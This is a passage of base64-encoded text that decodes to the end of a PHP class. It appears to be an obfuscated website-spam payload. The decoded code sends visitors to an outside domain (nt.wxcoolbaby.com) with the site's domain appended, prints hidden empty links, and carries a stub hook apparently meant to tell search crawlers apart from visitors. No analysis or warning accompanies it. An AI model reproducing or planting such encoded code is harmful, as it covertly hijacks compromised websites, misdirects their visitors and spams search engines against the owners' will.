b2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29tL250Lz9qcF8nLiRkb21haW4pOwoJCQll eGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFy cmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRhKyspewoJCQllY2hvICc8YSBocmVmPSIn LkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91 blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGljIGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgk bmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAoc3Vic3RyKCRoYXlzdGFjaywgMCwgc3Ry bGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUs JGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNz YWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJCXJldHVybiAgICRtZXNzYWdlWzBdOwoJ fQp9CgoK